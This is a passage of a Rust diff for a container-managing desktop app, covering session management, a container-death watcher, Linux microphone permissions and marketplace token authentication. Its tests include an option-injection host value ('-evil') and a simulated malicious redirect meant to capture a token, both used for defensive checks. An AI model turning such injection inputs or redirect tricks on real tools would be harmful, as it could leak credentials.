+            .ok_or_else(|| format!("Session {} not found", session_id))?;
+        session.send_input(data).await
+    }
+
+    pub async fn resize(&self, session_id: &str, cols: u16, rows: u16) -> Result<(), String> {
+        // Clone the exec_id under the lock, then drop the lock before the
+        // async host call to avoid holding the mutex across await.
+        let (exec_id, target) = {
+            let sessions = self.sessions.lock().await;
+            let session = sessions
+                .get(session_id)
+                .ok_or_else(|| format!("Session {} not found", session_id))?;
+            (session.exec_id.clone(), session.target.clone())
+        };
+        target.resize_exec(&exec_id, cols, rows).await
+    }
+
+    pub async fn close_session(&self, session_id: &str) {
+        let mut sessions = self.sessions.lock().await;
+        if let Some(session) = sessions.remove(session_id) {
+            session.shutdown();
+        }
+    }
+
+    pub async fn close_sessions_for_container(&self, container_id: &str) {
+        let mut sessions = self.sessions.lock().await;
+        let ids_to_close: Vec<String> = sessions
+            .iter()
+            .filter(|(_, s)| s.target.id() == container_id)
+            .map(|(id, _)| id.clone())
+            .collect();
+        for id in ids_to_close {
+            if let Some(session) = sessions.remove(&id) {
+                session.shutdown();
+            }
+        }
+    }
+
+    pub async fn close_all_sessions(&self) {
+        let mut sessions = self.sessions.lock().await;
+        for (_, session) in sessions.drain() {
+            session.shutdown();
+        }
+    }
+
+    /// The container a session was opened on — reuse it for side-channel work
+    /// on the same session (image paste, file drop, audio bridge) rather than
+    /// rebuilding a target from an id, which would assume the host.
+    pub async fn get_target(&self, session_id: &str) -> Result<ContainerTarget, String> {
+        let sessions = self.sessions.lock().await;
+        let session = sessions
+            .get(session_id)
+            .ok_or_else(|| format!("Session {} not found", session_id))?;
+        Ok(session.target.clone())
+    }
+
+    pub async fn write_file_to_container(
+        &self,
+        target: &ContainerTarget,
+        file_name: &str,
+        data: &[u8],
+    ) -> Result<String, String> {
+        // Owned by the container user, stamped now: a default tar header would
+        // land it as root:root/1970 and Claude Code could not rewrite it.
+        let ids = target.user_ids().await;
+        target
+            .upload_bytes_with_ids("/tmp", file_name, data, 0o644, ids)
+            .await
+    }
+}

app/src-tauri/src/host/watch.rs

@@ -0,0 +1,60 @@
+//! Where `container_watch` learns that a project container stopped on its
+//! own. Host-neutral shape: a reachability check, a stream of containers
+//! reported dead (replayable from a point in time), and a positive-exit check
+//! used to confirm each report before anything changes.
+//!
+//! Docker pushes `die` events. An AWS host will have no push stream from the
+//! app's point of view; its [`deaths`] will be a `DescribeTasks` poll that
+//! yields stopped tasks, which `container_watch` handles the same way because
+//! every report is confirmed with [`ContainerTarget::has_exited`] anyway.
+
+use futures_util::{Stream, StreamExt};
+use std::pin::Pin;
+
+use super::ContainerTarget;
+use crate::docker;
+
+/// Which host's deaths to watch. One variant today.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub enum ExitSource {
+    Docker,
+}
+
+pub type DeathStream = Pin<Box<dyn Stream<Item = Result<ContainerTarget, String>> + Send>>;
+
+impl ExitSource {
+    /// Whether the host answers at all. A `false` here is a failed connection
+    /// attempt for the watcher's backoff.
+    pub async fn reachable(&self) -> bool {
+        match self {
+            ExitSource::Docker => docker::events::ping().await,
+        }
+    }
+
+    /// Containers reported dead, replayed from `since` (unix seconds). An `Err`
+    /// item, or the stream ending, means the connection is gone.
+    pub fn deaths(&self, since: i64) -> DeathStream {
+        match self {
+            ExitSource::Docker => Box::pin(
+                docker::events::container_deaths(since).map(|r| r.map(ContainerTarget::docker)),
+            ),
+        }
+    }
+}
+
+impl ContainerTarget {
+    /// `true` only when the host positively says the container is not running
+    /// (stopped, or gone). Any failure to find out is `false` — unlike
+    /// [`ContainerTarget::is_running`], whose callers want errors to read as
+    /// "not running".
+    pub async fn has_exited(&self) -> bool {
+        match self {
+            ContainerTarget::Docker { container_id } => docker::events::has_exited(container_id).await,
+            // The agent can only say "I answer" or "I don't"; silence is not a
+            // positive exit (an SSM blip looks the same). Only the host that
+            // runs the container can confirm a death — an AWS host answers
+            // from ECS — so through the agent alone this never confirms one.
+            ContainerTarget::Agent(_) => false,
+        }
+    }
+}

app/src-tauri/src/lib.rs

@@ -3,10 +3,15 @@ mod browser_view;
 #[cfg(test)]
 mod command_census;
 mod commands;
+mod container_watch;
+#[cfg(target_os = "linux")]
+mod linux_media;
 mod docker;
+mod host;
 pub mod file_viewer;
 mod install_helper;
 mod logging;
+mod marketplace;
 mod models;
 mod project_lock;
 mod storage;
@@ -18,7 +23,7 @@ use std::sync::{Arc, Mutex};
 use std::time::Duration;
 
 use auth_bridge::AuthBridgeManager;
-use docker::exec::ExecSessionManager;
+use host::ExecSessionManager;
 use storage::projects_store::ProjectsStore;
 use storage::settings_store::SettingsStore;
 use tauri::async_runtime::JoinHandle;
@@ -48,6 +53,7 @@ pub struct AppState {
     /// preview is not actually binding on what gets applied.
     pub pending_settings_import:
         Arc<tokio::sync::Mutex<Option<commands::settings_export_commands::PendingSettingsImport>>>,
+    pub marketplace: Arc<marketplace::MarketplaceManager>,
 }
 
 // ─────────────────────────────────────────────────────────────────────────────
@@ -224,6 +230,12 @@ pub fn run() {
     let exec_manager = Arc::new(ExecSessionManager::new());
     let auth_bridge = Arc::new(AuthBridgeManager::new());
     let lifecycle = Arc::new(Lifecycle::new());
+    let marketplace = Arc::new(marketplace::MarketplaceManager::new(
+        dirs::data_dir()
+            .map(|d| d.join("triple-c"))
+            .unwrap_or_else(|| std::env::temp_dir().join("triple-c")),
+    ));
+    let marketplace_setup = marketplace.clone();
 
     // Clone Arcs for the setup closure (web terminal auto-start)
     let projects_store_setup = projects_store.clone();
@@ -242,9 +254,13 @@ pub fn run() {
             web_terminal_server: Arc::new(tokio::sync::Mutex::new(None)),
             lifecycle,
             pending_settings_import: Arc::new(tokio::sync::Mutex::new(None)),
+            marketplace,
         })
         .manage(file_viewer::registry::ViewerRegistry::default())
         .setup(move |app| {
+            #[cfg(target_os = "linux")]
+            linux_media::enable_microphone(app.handle());
+
             match tauri::image::Image::from_bytes(include_bytes!("../icons/icon.png")) {
                 Ok(icon) => {
                     if let Some(window) = app.get_webview_window("main") {
@@ -298,6 +314,35 @@ pub fn run() {
                 .await;
             });
 
+            // Notice a project container that stops without the app asking
+            // (its keepalive killed, an OOM, a `docker stop` from a shell) and
+            // flip the project to Stopped. One daemon-side-filtered event
+            // subscription for the app's lifetime — see `container_watch`.
+            lifecycle_setup.track(container_watch::spawn(
+                app.handle().clone(),
+                projects_store_setup.clone(),
+                lifecycle_setup.cancellation(),
+            ));
+
+            // Marketplaces: refresh each once at startup, in the background.
+            // Failures are logged, not toasted — the Marketplace tab shows them.
+            {
+                let settings = settings_store_setup.get();
+                let settings_store = settings_store_setup.clone();
+                let marketplace = marketplace_setup.clone();
+                tauri::async_runtime::spawn(async move {
+                    for m in &settings.marketplaces {
+                        // Reads the store again under the lock: one removed
+                        // since startup is skipped (PR review #6).
+                        let current = || settings_store.get();
+                        let snap = crate::marketplace::refresh_marketplace(&marketplace, &current, &m.id).await;
+                        if let Some(e) = snap.fetch_error {
+                            log::warn!("Marketplace \"{}\" could not be refreshed at startup: {}", m.name, e);
+                        }
+                    }
+                });
+            }
+
             // Auto-start web terminal server if enabled in settings
             let settings = settings_store_setup.get();
             if settings.web_terminal.enabled {
@@ -519,6 +564,28 @@ pub fn run() {
             commands::auth_token_commands::has_claude_token,
             commands::auth_token_commands::clear_claude_token,
             commands::auth_token_commands::sweep_claude_token_snapshots,
+            // Marketplace
+            commands::marketplace_commands::list_marketplace_snapshots,
+            commands::marketplace_commands::refresh_marketplaces,
+            commands::marketplace_commands::add_marketplace,
+            commands::marketplace_commands::update_marketplace,
+            commands::marketplace_commands::remove_marketplace,
+            commands::marketplace_commands::install_marketplace_item,
+            commands::marketplace_commands::uninstall_marketplace_item,
+            commands::marketplace_commands::set_global_item_disabled,
+            commands::marketplace_commands::forget_marketplace_installs,
+            commands::marketplace_commands::list_marketplace_updates,
+            commands::marketplace_commands::marketplace_item_diff,
+            commands::marketplace_commands::update_marketplace_item,
+            commands::marketplace_commands::apply_marketplace_now,
+            commands::marketplace_commands::get_marketplace_sync_report,
+            commands::marketplace_commands::add_marketplace_token_account,
+            commands::marketplace_commands::add_marketplace_gh_host_account,
+            commands::marketplace_commands::start_marketplace_gh_container_login,
+            commands::marketplace_commands::cancel_marketplace_gh_login,
+            commands::marketplace_commands::test_marketplace_account,
+            commands::marketplace_commands::remove_marketplace_account,
+            commands::marketplace_commands::marketplace_gh_host_available,
             // Settings
             commands::settings_commands::get_settings,
             commands::settings_commands::update_settings,
@@ -595,7 +662,6 @@ pub fn run() {
             commands::gateway_commands::regenerate_gateway_auth_token,
             // Container introspection (sessions / capabilities / scheduler)
             commands::inspect_commands::list_claude_sessions,
-            commands::inspect_commands::resume_session_command,
             commands::inspect_commands::list_container_capabilities,
             commands::inspect_commands::list_scheduled_tasks,
             commands::inspect_commands::add_scheduled_task,

app/src-tauri/src/linux_media.rs

@@ -0,0 +1,77 @@
+//! Microphone access for the main window on Linux (WebKitGTK).
+//!
+//! WebKitGTK denies `getUserMedia` unless the embedder (a) has the
+//! `enable-media-stream` setting on and (b) answers the webview's
+//! `permission-request` signal. wry does neither, so without this the speech-
+//! to-text button fails with
+//! `NotAllowedError: The request is not allowed by the user agent ...` even
+//! when GStreamer can see the microphone.
+//!
+//! Scope is deliberately narrow:
+//!   * only the `main` window — the file-viewer windows and any embedded
+//!     browser view load different content and get no grant;
+//!   * only audio capture — a request that also asks for a camera, and every
+//!     other permission type (geolocation, notifications, ...), is denied.
+
+use tauri::{AppHandle, Manager};
+use webkit2gtk::glib::prelude::*;
+use webkit2gtk::{
+    PermissionRequestExt, SettingsExt, UserMediaPermissionRequest, UserMediaPermissionRequestExt,
+    WebView, WebViewExt,
+};
+
+/// Whether a media permission request should be granted: microphone only.
+pub(crate) fn allow_media_request(for_audio: bool, for_video: bool) -> bool {
+    for_audio && !for_video
+}
+
+pub fn enable_microphone(app: &AppHandle) {
+    let Some(window) = app.get_webview_window("main") else {
+        log::warn!("Microphone: no main window, capture will stay disabled");
+        return;
+    };
+    let result = window.with_webview(|platform| {
+        let webview: WebView = platform.inner();
+        if let Some(settings) = WebViewExt::settings(&webview) {
+            settings.set_enable_media_stream(true);
+        }
+        webview.connect_permission_request(|_, request| {
+            if let Some(media) = request.downcast_ref::<UserMediaPermissionRequest>() {
+                let ok =
+                    allow_media_request(media.is_for_audio_device(), media.is_for_video_device());
+                if ok {
+                    request.allow();
+                } else {
+                    request.deny();
+                }
+                log::info!(
+                    "Microphone: media permission request {}",
+                    if ok { "allowed" } else { "denied" }
+                );
+            } else {
+                request.deny();
+            }
+            true // handled; do not fall through to WebKit's default
+        });
+    });
+    if let Err(e) = result {
+        log::warn!("Microphone: could not configure the webview: {e}");
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::allow_media_request;
+
+    #[test]
+    fn grants_audio_only() {
+        assert!(allow_media_request(true, false));
+    }
+
+    #[test]
+    fn denies_camera_and_mixed_requests() {
+        assert!(!allow_media_request(false, true));
+        assert!(!allow_media_request(true, true));
+        assert!(!allow_media_request(false, false));
+    }
+}

app/src-tauri/src/marketplace/auth.rs

@@ -0,0 +1,652 @@
+//! Marketplace accounts: where a fetch credential comes from, checking a
+//! pasted token, and turning a failed fetch into advice a person can act on.
+//!
+//! Nothing here logs, returns or formats a token into an error string. A
+//! `GhHost` account stores nothing at all: its token is asked of the host's
+//! `gh` every time, so a later `gh auth refresh` or logout takes effect.
+
+use std::time::Duration;
+
+use crate::marketplace::git::{Credential, FetchError};
+use crate::models::marketplace::{AccountMethod, MarketplaceAccount};
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub enum HostKind {
+    GitHub,
+    Gitea,
+    GitLab,
+    Unknown,
+}
+
+/// Known by name only; Gitea (and self-hosted GitLab) are recognised by
+/// probing their API in [`validate_token`].
+pub fn host_kind(host: &str) -> HostKind {
+    match host.to_ascii_lowercase().as_str() {
+        "github.com" => HostKind::GitHub,
+        "gitlab.com" => HostKind::GitLab,
+        _ => HostKind::Unknown,
+    }
+}
+
+/// `host[:port]` characters only — also what keeps a host safe as a `gh` argument.
+///
+/// This is a character-set check, not full `host:port` validation — it does
+/// not bound a port to 0–65535 or otherwise parse the `:port` suffix. A
+/// caller that needs that (e.g. a host validator layered on top of this one)
+/// checks the port itself.
+///
+/// `pub(crate)` so other validators (the add-marketplace form, `gh_login`) use
+/// this same rule instead of a divergent copy (pre-flight F13).
+pub(crate) fn valid_host(host: &str) -> bool {
+    !host.is_empty()
+        && host.len() <= 253
+        && !host.starts_with('-')
+        && host
+            .bytes()
+            .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'-' | b':'))
+}
+
+/// The host of an `https://` marketplace URL, lowercased, with a non-default port kept.
+pub fn host_of(url: &str) -> Result<String, String> {
+    // Pre-flight N17: never echo the raw URL back on a parse failure — a
+    // malformed URL can carry `user:token@` and this is the one branch that
+    // has not already stripped it.
+    let parsed = url::Url::parse(url.trim()).map_err(|e| format!("Not a valid URL: {}", e))?;
+    if parsed.scheme() != "https" {
+        return Err("Only https:// marketplace URLs are supported.".to_string());
+    }
+    if !parsed.username().is_empty() || parsed.password().is_some() {
+        return Err("Put credentials in a marketplace account, not in the URL.".to_string());
+    }
+    let host = parsed
+        .host_str()
+        .ok_or_else(|| "The URL has no host".to_string())?
+        .to_ascii_lowercase();
+    let host = match parsed.port() {
+        Some(port) => format!("{}:{}", host, port),
+        None => host,
+    };
+    if !valid_host(&host) {
+        return Err(format!("{:?} is not a supported host name", host));
+    }
+    Ok(host)
+}
+
+/// The username sent with the token over HTTPS.
+pub fn fetch_username(account: &MarketplaceAccount) -> String {
+    if host_kind(&account.host) == HostKind::GitHub {
+        return "x-access-token".to_string();
+    }
+    account
+        .username
+        .clone()
+        .filter(|u| !u.trim().is_empty())
+        .unwrap_or_else(|| "oauth2".to_string())
+}
+
+// ─────────────────────────────────────────────────────────────────────────────
+// Host `gh`
+// ─────────────────────────────────────────────────────────────────────────────
+
+const GH_TIMEOUT: Duration = Duration::from_secs(15);
+
+/// Run the host's `gh` with a plain argv (no shell) and return trimmed stdout.
+async fn run_gh(args: &[&str]) -> Result<String, String> {
+    let mut cmd = tokio::process::Command::new("gh");
+    cmd.args(args)
+        .stdin(std::process::Stdio::null())
+        .stdout(std::process::Stdio::piped())
+        .stderr(std::process::Stdio::piped())
+        .kill_on_drop(true);
+    let output = tokio::time::timeout(GH_TIMEOUT, cmd.output())
+        .await
+        .map_err(|_| "gh did not answer within 15 seconds".to_string())?
+        .map_err(|e| format!("Could not run gh: {}", e))?;
+    if !output.status.success() {
+        let stderr = String::from_utf8_lossy(&output.stderr);
+        return Err(stderr
+            .lines()
+            .next()
+            .unwrap_or("gh failed")
+            .trim()
+            .to_string());
+    }
+    Ok(String::from_utf8_lossy(&output.stdout).trim().to_string())
+}
+
+pub async fn gh_host_available() -> bool {
+    run_gh(&["--version"]).await.is_ok()
+}
+
+fn gh_login_instructions(host: &str) -> String {
+    format!(
+        "gh on this computer is not logged in to {host}. Run `gh auth login --hostname {host}` \
+         in a terminal, then try again.",
+        host = host
+    )
+}
+
+/// The login name `gh` on the host is signed in as for `host`.
+pub async fn gh_host_login(host: &str) -> Result<String, String> {
+    if !valid_host(host) {
+        return Err(format!("{:?} is not a supported host name", host));
+    }
+    run_gh(&["auth", "status", "--hostname", host])
+        .await
+        .map_err(|_| gh_login_instructions(host))?;
+    let login = run_gh(&["api", "user", "--hostname", host, "--jq", ".login"]).await?;
+    if login.is_empty() {
+        return Err(gh_login_instructions(host));
+    }
+    Ok(login)
+}
+
+/// Resolve the credential for an account: `GhHost` → `gh auth token
+/// --hostname <host>`; `GhContainer`/`Token` → the keychain.
+pub async fn resolve_credential(account: &MarketplaceAccount) -> Result<Credential, String> {
+    let password = match account.method {
+        AccountMethod::GhHost => {
+            if !valid_host(&account.host) {
+                return Err(format!("{:?} is not a supported host name", account.host));
+            }
+            let token = run_gh(&["auth", "token", "--hostname", &account.host])
+                .await
+                .map_err(|_| gh_login_instructions(&account.host))?;
+            if token.is_empty() {
+                return Err(gh_login_instructions(&account.host));
+            }
+            token
+        }
+        AccountMethod::GhContainer | AccountMethod::Token => {
+            crate::storage::secure::get_marketplace_token(&account.id)?.ok_or_else(|| {
+                format!(
+                    "No token is stored for the account \"{}\". Remove it and sign in again.",
+                    account.label
+                )
+            })?
+        }
+    };
+    Ok(Credential {
+        username: fetch_username(account),
+        password,
+    })
+}
+
+// ─────────────────────────────────────────────────────────────────────────────
+// Token validation
+// ─────────────────────────────────────────────────────────────────────────────
+
+#[derive(Debug, PartialEq, Eq)]
+enum Probe {
+    Login(String),
+    Rejected(u16),
+    NotThisKind,
+}
+
+fn http_client() -> Result<reqwest::Client, String> {
+    reqwest::Client::builder()
+        .user_agent("Triple-C")
+        .timeout(Duration::from_secs(15))
+        // reqwest's default policy follows up to 10 redirects and only
+        // strips Authorization/Cookie/Proxy-Authorization/WWW-Authenticate
+        // on a cross-*host* hop — GitLab's PRIVATE-TOKEN header (and any
+        // header on a same-host https→http downgrade) would otherwise
+        // follow the token to wherever the response points. Never follow;
+        // `who_am_i` treats the resulting 3xx like an unrecognised API.
+        .redirect(reqwest::redirect::Policy::none())
+        .build()
+        .map_err(|e| format!("Could not create an HTTP client: {}", e))
+}
+
+/// One "who am I" call. `base` is the API root for GitHub
+/// (`https://api.github.com`) and the site root for Gitea/GitLab.
+async fn who_am_i(
+    client: &reqwest::Client,
+    kind: HostKind,
+    base: &str,
+    token: &str,
+) -> Result<Probe, String> {
+    let (url, header, value, field) = match kind {
+        HostKind::GitHub => (
+            format!("{}/user", base),
+            "Authorization",
+            format!("Bearer {}", token),
+            "login",
+        ),
+        HostKind::Gitea => (
+            format!("{}/api/v1/user", base),
+            "Authorization",
+            format!("token {}", token),
+            "login",
+        ),
+        HostKind::GitLab => (
+            format!("{}/api/v4/user", base),
+            "PRIVATE-TOKEN",
+            token.to_string(),
+            "username",
+        ),
+        HostKind::Unknown => return Ok(Probe::NotThisKind),
+    };
+    let response = client
+        .get(&url)
+        .header(header, value)
+        .header("Accept", "application/json")
+        .send()
+        .await
+        // reqwest's error text carries the URL, never the header.
+        .map_err(|e| format!("Could not reach {}: {}", base, e.without_url()))?;
+    let status = response.status().as_u16();
+    match status {
+        200 => {
+            let json: serde_json::Value = match response.json().await {
+                Ok(json) => json,
+                Err(_) => return Ok(Probe::NotThisKind),
+            };
+            match json.get(field).and_then(|v| v.as_str()) {
+                Some(login) if !login.is_empty() => Ok(Probe::Login(login.to_string())),
+                _ => Ok(Probe::NotThisKind),
+            }
+        }
+        401 | 403 => Ok(Probe::Rejected(status)),
+        404 => Ok(Probe::NotThisKind),
+        // The client never follows redirects (see `http_client`); a 3xx here
+        // means this API would have sent the token onward, so treat it the
+        // same as a host that isn't this kind rather than as an error.
+        300..=399 => Ok(Probe::NotThisKind),
+        other => Err(format!(
+            "{} answered HTTP {} when checking the token",
+            base, other
+        )),
+    }
+}
+
+fn rejected(host: &str, status: u16) -> String {
+    format!(
+        "{} rejected the token (HTTP {}). Check that it has not expired and can read repositories.",
+        host, status
+    )
+}
+
+/// GitHub is asked at `github_api`; anything else is probed as Gitea, then
+/// GitLab, at `site`. `Ok(None)`: the host is neither, so the token could not
+/// be checked here — the marketplace's test fetch checks it instead.
+async fn validate_token_at(
+    host: &str,
+    github_api: Option<&str>,
+    site: &str,
+    token: &str,
+) -> Result<Option<String>, String> {
+    let client = http_client()?;
+    if let Some(api) = github_api {
+        return match who_am_i(&client, HostKind::GitHub, api, token).await? {
+            Probe::Login(login) => Ok(Some(login)),
+            Probe::Rejected(status) => Err(rejected(host, status)),
+            Probe::NotThisKind => Err(format!("{} did not return a user for this token", host)),
+        };
+    }
+    for kind in [HostKind::Gitea, HostKind::GitLab] {
+        match who_am_i(&client, kind, site, token).await? {
+            Probe::Login(login) => return Ok(Some(login)),
+            Probe::Rejected(status) => return Err(rejected(host, status)),
+            Probe::NotThisKind => {}
+        }
+    }
+    Ok(None)
+}
+
+/// "Who am I" check for a pasted token. `Ok(Some(login))` when the host
+/// confirmed it; `Ok(None)` when the host is not GitHub, Gitea or GitLab and
+/// the token is left to the first fetch to prove.
+pub async fn validate_token(host: &str, token: &str) -> Result<Option<String>, String> {
+    if !valid_host(host) {
+        return Err(format!("{:?} is not a supported host name", host));
+    }
+    if token.trim().is_empty() {
+        return Err("Paste a token first.".to_string());
+    }
+    let site = format!("https://{}", host);
+    match host_kind(host) {
+        HostKind::GitHub => {
+            validate_token_at(host, Some("https://api.github.com"), &site, token.trim()).await
+        }
+        _ => validate_token_at(host, None, &site, token.trim()).await,
+    }
+}
+
+// ─────────────────────────────────────────────────────────────────────────────
+// Fetch errors
+// ─────────────────────────────────────────────────────────────────────────────
+
+fn who(account: Option<&MarketplaceAccount>) -> String {
+    match account {
+        None => "anonymously (no account)".to_string(),
+        Some(a) => match &a.username {
+            Some(u) if !u.is_empty() => format!("with the account \"{}\" ({})", a.label, u),
+            _ => format!("with the account \"{}\"", a.label),
+        },
+    }
+}
+
+/// User-facing message for a failed fetch, naming the account used and, for
+/// access problems, the usual organisation causes with the page that fixes each.
+///
+/// `url` must be a marketplace URL already validated by [`host_of`] (as every
+/// stored marketplace's URL is) — it is echoed into the message verbatim, so
+/// passing unvalidated user input here would defeat the point of N17.
+pub fn describe_fetch_error(
+    err: &FetchError,
+    account: Option<&MarketplaceAccount>,
+    url: &str,
+) -> String {
+    let host = host_of(url).unwrap_or_else(|_| url.to_string());
+    match err {
+        FetchError::Auth { .. } | FetchError::NotFound => {
+            let what = match err {
+                FetchError::Auth { status } => format!("access was denied (HTTP {})", status),
+                _ => "the repository was not found".to_string(),
+            };
+            let mut msg = format!("Could not read {} {}: {}.", url, who(account), what);
+            if account.is_none() {
+                msg.push_str(
+                    "\n• The repository may be private — choose an account that can read it.",
+                );
+            }
+            if host_kind(&host) == HostKind::GitHub {
+                msg.push_str(
+                    "\n• The organization may restrict third-party app access and not have approved \
+                     the GitHub CLI or your token: \
+                     https://docs.github.com/en/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions\
+                     \n• If the organization uses SAML single sign-on, the token must be authorized for it: \
+                     https://github.com/settings/tokens\
+                     \n• A fine-grained token only reaches repositories of the owner it was created for: \
+                     https://github.com/settings/personal-access-tokens",
+                );
+            } else if account.is_some() {
+                msg.push_str("\n• Check that the account's token has not expired and can read this repository.");
+            }
+            msg
+        }
+        FetchError::Network(m) => format!(
+            "Could not reach {}: {}. The last fetched copy is still used.",
+            host, m
+        ),
+        FetchError::Other(m) => format!("Fetching {} failed: {}", url, m),
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn account(host: &str, username: Option<&str>) -> MarketplaceAccount {
+        MarketplaceAccount {
+            id: "acc-1".into(),
+            label: "Work".into(),
+            host: host.into(),
+            method: AccountMethod::Token,
+            username: username.map(str::to_string),
+        }
+    }
+
+    #[test]
+    fn host_of_accepts_https_only() {
+        assert_eq!(host_of("https://GitHub.com/a/b.git").unwrap(), "github.com");
+        assert_eq!(
+            host_of("https://git.example.com:8443/a/b").unwrap(),
+            "git.example.com:8443"
+        );
+        assert!(host_of("http://github.com/a/b").is_err());
+        assert!(host_of("git@github.com:a/b.git").is_err());
+        assert!(host_of("file:///tmp/x").is_err());
+        let err = host_of("https://user:test-token-not-real@github.com/a/b").unwrap_err();
+        assert!(!err.contains("test-token-not-real"));
+    }
+
+    /// Pre-flight N17, the parse-failure branch specifically: a URL that is
+    /// both malformed (port out of `u16` range) *and* carries credentials
+    /// must not have either the credentials or the raw URL echoed back.
+    #[test]
+    fn host_of_never_echoes_a_credential_bearing_url_that_fails_to_parse() {
+        let err = host_of("https://user:test-token-not-real@github.com:99999/a").unwrap_err();
+        assert!(!err.contains("test-token-not-real"), "{}", err);
+        assert!(!err.contains("user:"), "{}", err);
+    }
+
+    #[test]
+    fn fetch_username_per_host() {
+        assert_eq!(
+            fetch_username(&account("github.com", Some("me"))),
+            "x-access-token"
+        );
+        assert_eq!(
+            fetch_username(&account("repo.example.net", Some("jk"))),
+            "jk"
+        );
+        assert_eq!(fetch_username(&account("repo.example.net", None)), "oauth2");
+        assert_eq!(
+            fetch_username(&account("repo.example.net", Some(" "))),
+            "oauth2"
+        );
+    }
+
+    #[test]
+    fn host_kinds() {
+        assert_eq!(host_kind("GITHUB.com"), HostKind::GitHub);
+        assert_eq!(host_kind("gitlab.com"), HostKind::GitLab);
+        assert_eq!(host_kind("repo.example.net"), HostKind::Unknown);
+    }
+
+    #[test]
+    fn describe_access_errors_names_account_and_org_causes() {
+        let url = "https://github.com/acme/private-market.git";
+        let msg = describe_fetch_error(
+            &FetchError::Auth { status: 403 },
+            Some(&account("github.com", Some("me"))),
+            url,
+        );
+        assert!(msg.contains("\"Work\" (me)"), "{}", msg);
+        assert!(msg.contains("HTTP 403"));
+        assert!(msg.contains("third-party app access"));
+        assert!(msg.contains("single sign-on"));
+        assert!(msg.contains("fine-grained"));
+
+        let anon = describe_fetch_error(&FetchError::NotFound, None, url);
+        assert!(anon.contains("anonymously"));
+        assert!(anon.contains("may be private"));
+
+        let gitea = describe_fetch_error(
+            &FetchError::Auth { status: 401 },
+            Some(&account("repo.example.net", None)),
+            "https://repo.example.net/o/r.git",
+        );
+        assert!(!gitea.contains("single sign-on"));
+        assert!(gitea.contains("expired"));
+    }
+
+    #[test]
+    fn describe_network_and_other_errors() {
+        let msg = describe_fetch_error(
+            &FetchError::Network("dns error".into()),
+            None,
+            "https://github.com/a/b",
+        );
+        assert!(msg.contains("Could not reach github.com"));
+        assert!(msg.contains("last fetched copy"));
+        let msg = describe_fetch_error(
+            &FetchError::Other("weird".into()),
+            None,
+            "https://github.com/a/b",
+        );
+        assert!(msg.contains("weird"));
+    }
+
+    // ── validate_token against a local mock API ──────────────────────────────
+
+    const FAKE: &str = "test-token-not-real";
+
+    async fn serve(app: axum::Router) -> String {
+        let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+        let addr = listener.local_addr().unwrap();
+        tokio::spawn(async move {
+            axum::serve(listener, app).await.unwrap();
+        });
+        format!("http://{}", addr)
+    }
+
+    fn authorised(headers: &axum::http::HeaderMap, name: &str, want: &str) -> bool {
+        headers.get(name).and_then(|v| v.to_str().ok()) == Some(want)
+    }
+
+    #[tokio::test]
+    async fn github_token_returns_login_or_is_rejected() {
+        use axum::{http::HeaderMap, http::StatusCode, routing::get, Json, Router};
+        let app = Router::new().route(
+            "/user",
+            get(|headers: HeaderMap| async move {
+                if authorised(&headers, "authorization", &format!("Bearer {}", FAKE)) {
+                    Ok(Json(serde_json::json!({ "login": "octo" })))
+                } else {
+                    Err(StatusCode::UNAUTHORIZED)
+                }
+            }),
+        );
+        let base = serve(app).await;
+        assert_eq!(
+            validate_token_at("github.com", Some(&base), "unused", FAKE)
+                .await
+                .unwrap(),
+            Some("octo".to_string())
+        );
+        let err = validate_token_at("github.com", Some(&base), "unused", "wrong")
+            .await
+            .unwrap_err();
+        assert!(err.contains("HTTP 401"), "{}", err);
+        assert!(
+            !err.contains("wrong"),
+            "the token must not appear in the error"
+        );
+    }
+
+    #[tokio::test]
+    async fn gitea_is_detected_first() {
+        use axum::{http::HeaderMap, http::StatusCode, routing::get, Json, Router};
+        let app = Router::new().route(
+            "/api/v1/user",
+            get(|headers: HeaderMap| async move {
+                if authorised(&headers, "authorization", &format!("token {}", FAKE)) {
+                    Ok(Json(serde_json::json!({ "login": "jk" })))
+                } else {
+                    Err(StatusCode::UNAUTHORIZED)
+                }
+            }),
+        );
+        let site = serve(app).await;
+        assert_eq!(
+            validate_token_at("h", None, &site, FAKE).await.unwrap(),
+            Some("jk".to_string())
+        );
+        assert!(validate_token_at("h", None, &site, "wrong").await.is_err());
+    }
+
+    #[tokio::test]
+    async fn gitlab_is_tried_after_gitea_404() {
+        use axum::{http::HeaderMap, http::StatusCode, routing::get, Json, Router};
+        let app = Router::new().route(
+            "/api/v4/user",
+            get(|headers: HeaderMap| async move {
+                if authorised(&headers, "private-token", FAKE) {
+                    Ok(Json(serde_json::json!({ "username": "gl-user" })))
+                } else {
+                    Err(StatusCode::UNAUTHORIZED)
+                }
+            }),
+        );
+        let site = serve(app).await;
+        assert_eq!(
+            validate_token_at("h", None, &site, FAKE).await.unwrap(),
+            Some("gl-user".to_string())
+        );
+    }
+
+    #[tokio::test]
+    async fn unknown_host_is_left_unchecked() {
+        let site = serve(axum::Router::new()).await; // every path 404s
+        assert_eq!(
+            validate_token_at("h", None, &site, FAKE).await.unwrap(),
+            None
+        );
+    }
+
+    #[tokio::test]
+    async fn validate_token_refuses_bad_input_without_network() {
+        assert!(validate_token("-evil", FAKE).await.is_err());
+        assert!(validate_token("github.com", "  ").await.is_err());
+    }
+
+    /// Fix-round-1 security finding: reqwest's default redirect policy
+    /// follows up to 10 hops and only strips Authorization/Cookie/
+    /// Proxy-Authorization/WWW-Authenticate on a cross-host hop — GitLab's
+    /// PRIVATE-TOKEN header is none of those, so an unfollowed-by-default
+    /// client is the only thing stopping a malicious/compromised "GitLab"
+    /// host from redirecting the probe (with the token still attached) to
+    /// an attacker-controlled target. Plain `std::net::TcpListener`s stand
+    /// in for the origin and the redirect target so the test can assert the
+    /// target is never even connected to, let alone handed the header.
+    #[tokio::test]
+    async fn redirect_is_never_followed_and_the_token_never_reaches_the_target() {
+        use std::io::{Read, Write};
+        use std::net::TcpListener;
+        use std::sync::mpsc;
+        use std::time::Duration as StdDuration;
+
+        // The redirect target. If the client ever followed the redirect,
+        // this listener would receive the request — token header included.
+        let target = TcpListener::bind("127.0.0.1:0").unwrap();
+        let target_addr = target.local_addr().unwrap();
+        let (tx, rx) = mpsc::channel::<String>();
